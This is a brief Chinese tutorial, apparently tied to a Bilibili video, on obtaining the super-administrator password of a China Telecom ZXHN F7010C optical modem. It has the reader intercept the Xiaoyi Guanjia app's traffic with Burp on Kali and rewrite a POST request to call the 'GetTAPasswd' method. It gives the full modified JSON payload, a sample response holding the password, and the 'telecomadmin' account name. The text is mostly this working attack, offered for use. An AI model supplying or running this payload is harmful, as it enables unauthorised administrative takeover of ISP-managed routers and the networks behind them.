破解天翼网关4.0 ZXHN F7010C破解超级管理员密码 – 哔哩哔哩 (bilibili.com)

具体操作：

1、手机连接wifi，登录小翼管家，并关联光猫；

2、打开kali并在局域网开启brup代理；

3、手机连接kali的brup代理；

4、点击小翼管家中光猫的指示灯获取POST报文；

5、在Brup中修改POST报文中的内容为：

{
    "Params":[

    ],
    "MethodName":"GetTAPasswd",
    "RPCMethod":"CallMethod",
    "ObjectPath":"/com/ctc/igd1/Telecom/System",
    "InterfaceName":"com.ctc.igd1.SysCmd",
    "ServiceName":"com.ctc.igd1"
}

6、发送POST报文获取密码报文；

{
    "Ack":"CallMethod",
    "ID":"6120b235-5dbc-05ab-7f76-648b00800bd1",
    "Status":"0",
    "Params":[
        "你的超级管理员密码",
        0,
        ""
    ]
}

注：超级管理员账号为：telecomadmin